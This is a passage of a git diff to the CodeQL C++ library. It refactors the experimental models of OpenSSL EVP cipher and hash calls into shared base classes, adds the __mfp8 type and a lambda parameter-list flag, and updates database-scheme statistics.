EVP_Cipher_Call() { this.(Call).getTarget().getName() = "EVP_Cipher" } override Expr getInputArg() { result = this.(Call).getArgument(2) } } -// NOTE: not modeled as cipher operations, these are intermediate calls -class EVP_Cipher_Update_Call extends Call { - EVP_Cipher_Update_Call() { - this.(Call).getTarget().getName() in [ - "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" - ] - } - - Expr getInputArg() { result = this.(Call).getArgument(3) } - - DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() } - - Expr getContextArg() { result = this.(Call).getArgument(0) } -} - -class EVP_Cipher_Final_Call extends EVP_Cipher_Operation { +class EVP_Cipher_Final_Call extends EVPFinal, EVP_Cipher_Operation { EVP_Cipher_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_EncryptFinal_ex", "EVP_DecryptFinal_ex", "EVP_CipherFinal_ex", "EVP_EncryptFinal", @@ -98,26 +66,12 @@ class EVP_Cipher_Final_Call extends EVP_Cipher_Operation { ] } - EVP_Cipher_Update_Call getUpdateCalls() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) + /** + * Output is both from update calls and from the final call. + */ + override Expr getOutputArg() { + result = EVPFinal.super.getOutputArg() + or + result = EVP_Cipher_Operation.super.getOutputArg() } - - override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } -} - -class EVP_PKEY_Operation extends EVP_Cipher_Operation { - EVP_PKEY_Operation() { - this.(Call).getTarget().getName() in ["EVP_PKEY_decrypt", "EVP_PKEY_encrypt"] - } - - override Expr getInputArg() { result = this.(Call).getArgument(3) } - // TODO: how PKEY is initialized is different that symmetric cipher - // Consider making an entirely new class for this and specializing - // the get init call -} - -class EVPCipherInputArgument extends Expr { - EVPCipherInputArgument() { exists(EVP_Cipher_Operation op | op.getInputArg() = this) } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll index 46d414ece6c..7309242f198 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll @@ -1,10 +1,7 @@ import cpp +private import OpenSSLOperationBase -abstract class EVP_Hash_Initializer extends Call { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - abstract Expr getAlgorithmArg(); -} +abstract class EVP_Hash_Initializer extends EVPInitialize { } class EVP_DigestInit_Variant_Calls extends EVP_Hash_Initializer { EVP_DigestInit_Variant_Calls() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index c68ccd96084..796f7139838 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -8,118 +8,78 @@ private import OpenSSLOperationBase private import EVPHashInitializer private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -// import EVPHashConsumers -abstract class EVP_Hash_Operation extends OpenSSLOperation, Crypto::HashOperationInstance { - Expr getContextArg() { result = this.(Call).getArgument(0) } +class EVP_Digest_Update_Call extends EVPUpdate { + EVP_Digest_Update_Call() { this.(Call).getTarget().getName() = "EVP_DigestUpdate" } - Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() } - - EVP_Hash_Initializer getInitCall() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - - /** - * By default, the algorithm value comes from the init call. - * There are variants where this isn't true, in which case the - * subclass should override this method. - */ - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getAlgorithmArg())) - } + override Expr getInputArg() { result = this.(Call).getArgument(1) } } -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) - } - - predicate isSink(DataFlow::Node sink) { - exists(EVP_Hash_Operation c | c.getAlgorithmArg() = sink.asExpr()) - } -} - -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - //https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis -class EVP_Q_Digest_Operation extends EVP_Hash_Operation { +class EVP_Q_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance { EVP_Q_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Q_digest" } - //override Crypto::AlgorithmConsumer getAlgorithmConsumer() { } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } + override EVP_Hash_Initializer getInitCall() { // This variant of digest does not use an init // and even if it were used, the init would be ignored/undefined none() } - override Expr getOutputArg() { result = this.(Call).getArgument(5) } - override Expr getInputArg() { result = this.(Call).getArgument(3) } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Expr getOutputArg() { result = this.(Call).getArgument(5) } - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - // The operation is a direct algorithm consumer - // NOTE: the operation itself is already modeld as a value consumer, so we can - // simply return 'this', see modeled hash algorithm consuers for EVP_Q_Digest - this = result + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOperation.super.getOutputArtifact() } - override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOperation.super.getInputConsumer() + } } -class EVP_Digest_Operation extends EVP_Hash_Operation { +class EVP_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance { EVP_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Digest" } // There is no context argument for this function override Expr getContextArg() { none() } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) } + override EVP_Hash_Initializer getInitCall() { // This variant of digest does not use an init // and even if it were used, the init would be ignored/undefined none() } - override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) } + override Expr getInputArg() { result = this.(Call).getArgument(0) } override Expr getOutputArg() { result = this.(Call).getArgument(2) } - override Expr getInputArg() { result = this.(Call).getArgument(0) } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOperation.super.getOutputArtifact() + } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOperation.super.getInputConsumer() + } } -// NOTE: not modeled as hash operations, these are intermediate calls -class EVP_Digest_Update_Call extends Call { - EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] } - - Expr getInputArg() { result = this.(Call).getArgument(1) } - - DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() } - - Expr getContextArg() { result = this.(Call).getArgument(0) } -} - -class EVP_Digest_Final_Call extends EVP_Hash_Operation { +class EVP_Digest_Final_Call extends EVPFinal, Crypto::HashOperationInstance { EVP_Digest_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_DigestFinal", "EVP_DigestFinal_ex", "EVP_DigestFinalXOF" ] } - EVP_Digest_Update_Call getUpdateCalls() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - - override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - override Expr getOutputArg() { result = this.(Call).getArgument(1) } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPFinal.super.getOutputArtifact() + } + + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPFinal.super.getInputConsumer() + } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index f9753e92c5d..6ada6cb4665 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -1,21 +1,162 @@ private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +/** + * A class for all OpenSSL operations. + */ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Call { + /** + * Expression that specifies the algorithm for the operation. + * Will be an argument of the operation in the simplest case. + */ + abstract Expr getAlgorithmArg(); + + /** + * Algorithm is specified in initialization call or is implicitly established by the key. + */ + override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { + AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), + DataFlow::exprNode(this.getAlgorithmArg())) + } +} + +/** + * A Call to initialization functions from the EVP API. + * These are not operations in the sense of Crypto::OperationInstance, + * but they are used to initialize the context for the operation. + */ +abstract class EVPInitialize extends Call { + /** + * Gets the context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Gets the type of key operation, none if not applicable. + */ + Crypto::KeyOperationSubtype getKeyOperationSubtype() { none() } + + /** + * Explicitly specified algorithm or none if implicit (e.g., established by the key). + * None if not applicable. + */ + Expr getAlgorithmArg() { none() } + + /** + * Gets the key for the operation, none if not applicable. + */ + Expr getKeyArg() { none() } + + /** + * Gets the IV/nonce, none if not applicable. + */ + Expr getIVArg() { none() } +} + +/** + * A Call to update functions from the EVP API. + * These are not operations in the sense of Crypto::OperationInstance, + * but they are used to update the context for the operation. + */ +abstract class EVPUpdate extends Call { + /** + * Gets the context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Update calls always have some input data like plaintext or message digest. + */ abstract Expr getInputArg(); /** - * Can be an argument of a call or a return value of a function. + * Update calls sometimes have some output data like a plaintext. + */ + Expr getOutputArg() { none() } +} + +/** + * Flows from algorithm values to operations, specific to OpenSSL + */ +private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source) { + exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) + } + + predicate isSink(DataFlow::Node sink) { + exists(EVPOperation c | c.getAlgorithmArg() = sink.asExpr()) + } +} + +private module AlgGetterToAlgConsumerFlow = DataFlow::Global; + +/** + * The base class for all operations of the EVP API. + * This captures one-shot APIs (with and without an initilizer call) and final calls. + * Provides some default methods for Crypto::KeyOperationInstance class + */ +abstract class EVPOperation extends OpenSSLOperation { + /** + * Gets the context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Some input data like plaintext or message digest. + * Either argument provided direcly in the call or all arguments that were provided in update calls. + */ + abstract Expr getInputArg(); + + /** + * Some output data like ciphertext or signature. */ abstract Expr getOutputArg(); - DataFlow::Node getInputNode() { - // Assumed to be default to asExpr - result.asExpr() = this.getInputArg() + /** + * Overwrite with an explicitly specified algorithm or leave base implementation to find it in the initialization call. + */ + override Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() } + + /** + * Finds the initialization call, may be none. + */ + EVPInitialize getInitCall() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) } - DataFlow::Node getOutputNode() { - if exists(Call c | c.getAnArgument() = this) - then result.asDefiningArgument() = this - else result.asExpr() = this + Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = DataFlow::exprNode(this.getOutputArg()) + } + + /** + * Input consumer is the input argument of the call. + */ + Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = DataFlow::exprNode(this.getInputArg()) } } + +/** + * The final calls of the EVP API. + */ +abstract class EVPFinal extends EVPOperation { + /** + * All update calls that were executed before this final call. + */ + EVPUpdate getUpdateCalls() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) + } + + /** + * Gets the input data provided to all update calls. + * If more input data was provided in the final call, override the method. + */ + override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } + + /** + * Gets the output data provided to all update calls. + * If more output data was provided in the final call, override the method. + */ + override Expr getOutputArg() { result = this.getUpdateCalls().getOutputArg() } +} diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index ef2d81c4f84..c0dd5d2ae2a 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 4.3.2-dev +version: 5.1.1-dev groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/lib/semmle/code/cpp/Namespace.qll b/cpp/ql/lib/semmle/code/cpp/Namespace.qll index 2e75a783c14..dc138f67524 100644 --- a/cpp/ql/lib/semmle/code/cpp/Namespace.qll +++ b/cpp/ql/lib/semmle/code/cpp/Namespace.qll @@ -174,7 +174,27 @@ class UsingDeclarationEntry extends UsingEntry { */ Declaration getDeclaration() { usings(underlyingElement(this), unresolveElement(result), _, _) } - override string toString() { result = "using " + this.getDeclaration().getDescription() } + /** + * Gets the member that is referenced by this using declaration, where the member depends on a + * type template parameter. + * + * For example: + * ``` + * template + * class A { + * using T::m; + * }; + * ``` + * Here, `getReferencedMember()` yields the member `m` of `T`. Observe that, + * as `T` is not instantiated, `m` is represented by a `Literal` and not + * a `Declaration`. + */ + Literal getReferencedMember() { usings(underlyingElement(this), unresolveElement(result), _, _) } + + override string toString() { + result = "using " + this.getDeclaration().getDescription() or + result = "using " + this.getReferencedMember() + } } /** diff --git a/cpp/ql/lib/semmle/code/cpp/Type.qll b/cpp/ql/lib/semmle/code/cpp/Type.qll index aa3fa54835c..fef978b198d 100644 --- a/cpp/ql/lib/semmle/code/cpp/Type.qll +++ b/cpp/ql/lib/semmle/code/cpp/Type.qll @@ -839,6 +839,9 @@ private predicate floatingPointTypeMapping( or // _Complex _Float128 kind = 61 and base = 2 and domain = TComplexDomain() and realKind = 49 and extended = false + or + // __mfp8 + kind = 62 and base = 2 and domain = TRealDomain() and realKind = 62 and extended = false } /** diff --git a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll index 313875d1325..d1836f0ff4d 100644 --- a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll +++ b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll @@ -41,12 +41,17 @@ class LambdaExpression extends Expr, @lambdaexpr { * - "&" if capture-by-reference is the default for implicit captures. * - "=" if capture-by-value is the default for implicit captures. */ - string getDefaultCaptureMode() { lambdas(underlyingElement(this), result, _) } + string getDefaultCaptureMode() { lambdas(underlyingElement(this), result, _, _) } /** * Holds if the return type (of the call operator of the resulting object) was explicitly specified. */ - predicate returnTypeIsExplicit() { lambdas(underlyingElement(this), _, true) } + predicate returnTypeIsExplicit() { lambdas(underlyingElement(this), _, true, _) } + + /** + * Holds if the lambda has an explicitly specified parameter list, even when empty. + */ + predicate hasParameterList() { lambdas(underlyingElement(this), _, _, true) } /** * Gets the function which will be invoked when the resulting object is called. diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme b/cpp/ql/lib/semmlecode.cpp.dbscheme index 9a7c3c14c10..3c45f8b9e71 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme @@ -691,6 +691,7 @@ case @builtintype.kind of | 59 = @complex_std_float64 // _Complex _Float64 | 60 = @complex_float64x // _Complex _Float64x | 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 ; builtintypes( @@ -2138,7 +2139,8 @@ code_block( lambdas( unique int expr: @lambdaexpr ref, string default_capture: string ref, - boolean has_explicit_return_type: boolean ref + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref ); lambda_capture( diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats index 201725ec5d1..3672711aa41 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats @@ -2,7 +2,7 @@ @compilation - 16209 + 15784 @externalDataElement @@ -18,63 +18,63 @@ @location_default - 31651328 + 36090715 @location_stmt - 5201796 + 5203174 @location_expr - 17955097 + 17959854 @diagnostic - 1590 + 1588 @file - 83605 + 81416 @folder - 15884 + 15468 @macro_expansion - 40282895 + 39233853 @other_macro_reference - 313754 + 312446 @function - 3352272 + 4000084 @fun_decl - 3384193 + 4138632 @var_decl - 6734162 + 9237883 @type_decl - 1889998 + 1840519 @namespace_decl - 425663 + 429821 @using_declaration - 333109 + 334516 @using_directive - 8151 + 8117 @using_enum_declaration @@ -82,283 +82,287 @@ @static_assert - 183988 + 183028 @parameter - 4792289 + 6939003 @membervariable - 1441877 + 1489415 @globalvariable - 425545 + 486788 @localvariable - 735182 + 727548 @enumconstant - 330375 + 343845 @errortype - 134 + 124 @unknowntype - 134 + 124 @void - 134 + 124 @boolean - 134 + 124 @char - 134 + 124 @unsigned_char - 134 + 124 @signed_char - 134 + 124 @short - 134 + 124 @unsigned_short - 134 + 124 @signed_short - 134 + 124 @int - 134 + 124 @unsigned_int - 134 + 124 @signed_int - 134 + 124 @long - 134 + 124 @unsigned_long - 134 + 124 @signed_long - 134 + 124 @long_long - 134 + 124 @unsigned_long_long - 134 + 124 @signed_long_long - 134 + 124 @float - 134 + 124 @double - 134 + 124 @long_double - 134 + 124 @complex_float - 134 + 124 @complex_double - 134 + 124 @complex_long_double - 134 + 124 @imaginary_float - 134 + 124 @imaginary_double - 134 + 124 @imaginary_long_double - 134 + 124 @wchar_t - 134 + 124 @decltype_nullptr - 134 + 124 @int128 - 134 + 124 @unsigned_int128 - 134 + 124 @signed_int128 - 134 + 124 @float128 - 134 + 124 @complex_float128 - 134 + 124 @decimal32 - 134 + 124 @decimal64 - 134 + 124 @decimal128 - 134 + 124 @char16_t - 134 + 124 @char32_t - 134 + 124 @std_float32 - 134 + 124 @float32x - 134 + 124 @std_float64 - 134 + 124 @float64x - 134 + 124 @std_float128 - 134 + 124 @char8_t - 134 + 124 @float16 - 134 + 124 @complex_float16 - 134 + 124 @fp16 - 134 + 124 @std_bfloat16 - 134 + 124 @std_float16 - 134 + 124 @complex_std_float32 - 134 + 124 @complex_float32x - 134 + 124 @complex_std_float64 - 134 + 124 @complex_float64x - 134 + 124 @complex_std_float128 - 134 + 124 + + + @mfp8 + 124 @pointer - 472813 + 470186 @type_with_specifiers - 725904 + 693862 @array - 95666 + 98055 @routineptr - 861504 + 857913 @reference - 1024877 + 966847 @gnu_vector - 866 + 843 @routinereference - 471 + 469 @rvalue_reference - 292111 + 290677 @block @@ -366,39 +370,39 @@ @type_operator - 8530 + 8519 @decltype - 102046 + 102076 @usertype - 4985429 + 4863327 @mangledname - 5807372 + 6313666 @type_mention - 5508026 + 5813148 @concept_template - 3873 + 3868 @routinetype - 761024 + 757852 @ptrtomember - 12079 + 12026 @specifier - 8342 + 7724 @gnuattribute @@ -406,11 +410,11 @@ @stdattribute - 346335 + 349236 @declspec - 326934 + 328850 @msattribute @@ -418,19 +422,19 @@ @alignas - 2194 + 2171 @attribute_arg_token - 21022 + 20935 @attribute_arg_constant_expr - 89401 + 86995 @attribute_arg_expr - 1801 + 1753 @attribute_arg_empty @@ -442,39 +446,39 @@ @attribute_arg_type - 466 + 461 @derivation - 599063 + 598061 @frienddecl - 881497 + 881070 @comment - 11290475 + 11190891 @namespace - 11090 + 10800 @specialnamequalifyingelement - 134 + 124 @namequalifier - 3257060 + 3255225 @value - 13198553 + 13438637 @initialiser - 2336741 + 2334426 @address_of @@ -482,131 +486,131 @@ @indirect - 402982 + 403075 @array_to_pointer - 1948138 + 1948651 @parexpr - 4901077 + 4902379 @arithnegexpr - 584849 + 585003 @unaryplusexpr - 4124 + 4081 @complementexpr - 38088 + 38098 @notexpr - 357988 + 357277 @postincrexpr - 84819 + 84372 @postdecrexpr - 57229 + 57244 @preincrexpr - 96430 + 96455 @predecrexpr - 35715 + 35725 @conditionalexpr - 895300 + 895536 @addexpr - 569732 + 570027 @subexpr - 465458 + 465581 @mulexpr - 434352 + 434630 @divexpr - 60327 + 58998 @remexpr - 19864 + 20080 @paddexpr - 118322 + 118353 @psubexpr - 68216 + 67856 @pdiffexpr - 46016 + 43732 @lshiftexpr - 550128 + 550224 @rshiftexpr - 199984 + 200019 @andexpr - 479850 + 479933 @orexpr - 193504 + 193537 @xorexpr - 74060 + 73778 @eqexpr - 641484 + 641654 @neexpr - 410687 + 410795 @gtexpr - 110823 + 110852 @ltexpr - 139020 + 139057 @geexpr - 80996 + 81166 @leexpr - 291182 + 291256 @assignexpr - 1277386 + 1277725 @assignaddexpr @@ -614,23 +618,23 @@ @assignsubexpr - 15262 + 15266 @assignmulexpr - 14123 + 13754 @assigndivexpr - 6827 + 6791 @assignremexpr - 941 + 872 @assignlshiftexpr - 3713 + 3694 @assignrshiftexpr @@ -638,19 +642,19 @@ @assignandexpr - 6509 + 6510 @assignorexpr - 19572 + 19554 @assignxorexpr - 29822 + 29829 @assignpaddexpr - 18573 + 18578 @assignpsubexpr @@ -658,75 +662,75 @@ @andlogicalexpr - 345572 + 345664 @orlogicalexpr - 1101612 + 1100577 @commaexpr - 167785 + 168450 @subscriptexpr - 433866 + 433981 @callexpr - 301955 + 300697 @vastartexpr - 5108 + 5071 @vaargexpr - 1299 + 1300 @vaendexpr - 2949 + 2933 @vacopyexpr - 171 + 170 @varaccess - 8230416 + 8232597 @runtime_sizeof - 400615 + 400974 @runtime_alignof - 61395 + 62549 @expr_stmt - 147937 + 147968 @routineexpr - 6142593 + 6134315 @type_operand - 1402930 + 1401612 @offsetofexpr - 148600 + 148626 @typescompexpr - 700718 + 700060 @literal - 6101426 + 6102022 @aggregateliteral @@ -734,31 +738,31 @@ @c_style_cast - 6024780 + 6026987 @temp_init - 1076374 + 1073608 @errorexpr - 57533 + 57293 @reference_to - 2191473 + 2182339 @ref_indirect - 2653759 + 2642698 @vacuous_destructor_call - 9867 + 9826 @assume - 4414 + 4383 @conjugation @@ -766,11 +770,11 @@ @realpartexpr - 94 + 92 @imagpartexpr - 94 + 92 @jmulexpr @@ -810,35 +814,35 @@ @thisaccess - 1525406 + 1514600 @new_expr - 58177 + 57934 @delete_expr - 14458 + 14398 @throw_expr - 26147 + 26079 @condition_decl - 438155 + 437589 @braced_init_list - 2334 + 2328 @type_id - 60322 + 60071 @sizeof_pack - 2188 + 2178 @hasassignexpr @@ -866,7 +870,7 @@ @hastrivialconstr - 3 + 7 @hastrivialcopy @@ -882,7 +886,7 @@ @isabstractexpr - 8 + 74 @isbaseofexpr @@ -890,23 +894,23 @@ @isclassexpr - 2532 + 2531 @isconvtoexpr - 269 + 249 @isemptyexpr - 1480 + 8846 @isenumexpr - 672 + 2990 @ispodexpr - 677 + 1041 @ispolyexpr @@ -922,83 +926,83 @@ @hastrivialdestructor - 557 + 3503 @uuidof - 27728 + 27985 @delete_array_expr - 1597 + 1556 @new_array_expr - 6964 + 6914 @foldexpr - 1372 + 1367 @ctordirectinit - 142053 + 141461 @ctorvirtualinit - 5062 + 5041 @ctorfieldinit - 259009 + 257929 @ctordelegatinginit - 3767 + 3613 @dtordirectdestruct - 49639 + 49432 @dtorvirtualdestruct - 5019 + 4998 @dtorfielddestruct - 50154 + 49945 @static_cast - 335397 + 387985 @reinterpret_cast - 43190 + 41729 @const_cast - 47227 + 30676 @dynamic_cast - 1015 + 989 @lambdaexpr - 17804 + 17730 @param_ref - 177909 + 177449 @noopexpr - 52 + 51 @istriviallyconstructibleexpr - 1749 + 3737 @isdestructibleexpr @@ -1010,19 +1014,19 @@ @istriviallydestructibleexpr - 1076 + 996 @istriviallyassignableexpr - 3 + 3737 @isnothrowassignableexpr - 5382 + 5108 @istrivialexpr - 829 + 3644 @isstandardlayoutexpr @@ -1030,7 +1034,7 @@ @istriviallycopyableexpr - 2152 + 1538 @isliteraltypeexpr @@ -1050,11 +1054,11 @@ @isconstructibleexpr - 691 + 3613 @isnothrowconstructibleexpr - 18568 + 20682 @hasfinalizerexpr @@ -1090,11 +1094,11 @@ @isfinalexpr - 1716 + 11792 @noexceptexpr - 30758 + 30678 @builtinshufflevector @@ -1102,11 +1106,11 @@ @builtinchooseexpr - 20636 + 20646 @builtinaddressof - 16818 + 16278 @vec_fill @@ -1122,7 +1126,7 @@ @spaceshipexpr - 1406 + 1404 @co_await @@ -1134,7 +1138,7 @@ @isassignable - 438 + 437 @isaggregate @@ -1146,11 +1150,11 @@ @builtinbitcast - 148 + 249 @builtinshuffle - 785 + 764 @blockassignexpr @@ -1158,7 +1162,7 @@ @issame - 4864 + 4858 @isfunction @@ -1266,7 +1270,7 @@ @reuseexpr - 907596 + 906424 @istriviallycopyassignable @@ -1362,99 +1366,99 @@ @c11_generic - 30031 + 30036 @requires_expr - 17682 + 17660 @nested_requirement - 737 + 736 @compound_requirement - 11734 + 11719 @concept_id - 96899 + 96773 @lambdacapture - 28786 + 28450 @stmt_expr - 2025654 + 2026191 @stmt_if - 987309 + 987571 @stmt_while - 39531 + 39542 @stmt_goto - 151145 + 151183 @stmt_label - 72493 + 72512 @stmt_return - 1513767 + 1507458 @stmt_block - 1897847 + 1839752 @stmt_end_test_while - 232977 + 233017 @stmt_for - 84141 + 84163 @stmt_switch_case - 895930 + 894773 @stmt_switch - 441314 + 440744 @stmt_asm - 64016 + 64027 @stmt_decl - 770583 + 767030 @stmt_empty - 460103 + 459509 @stmt_continue - 28042 + 28016 @stmt_break - 141003 + 139921 @stmt_try_block - 28960 + 28885 @stmt_microsoft_try - 225 + 223 @stmt_set_vla_size @@ -1466,19 +1470,19 @@ @stmt_assigned_goto - 12390 + 12393 @stmt_range_based_for - 7422 + 7391 @stmt_handler - 47453 + 47330 @stmt_constexpr_if - 72388 + 103537 @stmt_co_return @@ -1494,55 +1498,55 @@ @ppd_if - 511564 + 587335 @ppd_ifdef - 227257 + 213791 @ppd_ifndef - 154182 + 157824 @ppd_elif - 28098 + 27363 @ppd_else - 241116 + 235606 @ppd_endif - 846328 + 883245 @ppd_plain_include - 408414 + 397722 @ppd_define - 3130472 + 2739070 @ppd_undef - 93378 + 100671 @ppd_pragma - 405268 + 405677 @ppd_include_next - 214 + 213 @ppd_line - 19065 + 18866 @ppd_error - 134 + 124 @ppd_objc_import @@ -1566,7 +1570,7 @@ @link_target - 947 + 923 @xmldtd @@ -1596,11 +1600,11 @@ compilations - 16209 + 15784 id - 16209 + 15784 cwd @@ -1618,7 +1622,7 @@ 1 2 - 16209 + 15784 @@ -1644,19 +1648,19 @@ compilation_args - 1297703 + 1263730 id - 16209 + 15784 num - 1882 + 1833 arg - 37523 + 36541 @@ -1670,77 +1674,77 @@ 36 42 - 1286 + 1252 42 43 - 1408 + 1371 43 44 - 920 + 896 44 45 - 649 + 632 45 51 - 1218 + 1186 51 70 - 622 + 606 71 72 - 907 + 883 72 90 - 1151 + 1120 94 96 - 501 + 487 98 99 - 1719 + 1674 100 102 - 121 + 118 103 104 - 2559 + 2492 104 119 - 1367 + 1331 120 138 - 1191 + 1160 139 140 - 582 + 567 @@ -1756,67 +1760,67 @@ 34 38 - 758 + 738 38 39 - 1922 + 1872 39 40 - 1259 + 1226 40 42 - 1394 + 1358 42 53 - 771 + 751 53 54 - 907 + 883 54 63 - 1151 + 1120 64 67 - 514 + 501 67 68 - 1801 + 1753 68 70 - 1245 + 1213 70 71 - 1801 + 1753 73 79 - 1218 + 1186 79 89 - 1448 + 1411 89 @@ -1837,57 +1841,57 @@ 43 90 - 81 + 79 90 108 - 148 + 145 108 183 - 135 + 131 198 422 - 148 + 145 422 595 - 162 + 158 595 605 - 162 + 158 605 749 - 148 + 145 750 778 - 148 + 145 781 883 - 148 + 145 930 1190 - 108 + 105 1197 1198 - 487 + 474 @@ -1903,72 +1907,72 @@ 1 5 - 162 + 158 5 7 - 148 + 145 9 12 - 94 + 92 12 15 - 148 + 145 15 18 - 121 + 118 18 22 - 148 + 145 22 27 - 162 + 158 27 29 - 108 + 105 29 34 - 148 + 145 34 44 - 162 + 158 45 63 - 148 + 145 67 94 - 148 + 145 94 164 - 148 + 145 171 199 - 27 + 26 @@ -1984,22 +1988,22 @@ 1 2 - 17184 + 16734 2 3 - 16263 + 15837 3 103 - 2816 + 2742 104 1198 - 1259 + 1226 @@ -2015,17 +2019,17 @@ 1 2 - 24848 + 24198 2 3 - 11185 + 10892 3 62 - 1489 + 1450 @@ -2035,11 +2039,11 @@ compilation_build_mode - 16209 + 15784 id - 16209 + 15784 mode @@ -2057,7 +2061,7 @@ 1 2 - 16209 + 15784 @@ -2083,11 +2087,11 @@ compilation_compiling_files - 16209 + 15784 id - 16209 + 15784 num @@ -2095,7 +2099,7 @@ file - 7420 + 7226 @@ -2109,7 +2113,7 @@ 1 2 - 16209 + 15784 @@ -2125,7 +2129,7 @@ 1 2 - 16209 + 15784 @@ -2173,17 +2177,17 @@ 1 2 - 176 + 171 2 3 - 7217 + 7028 28 91 - 27 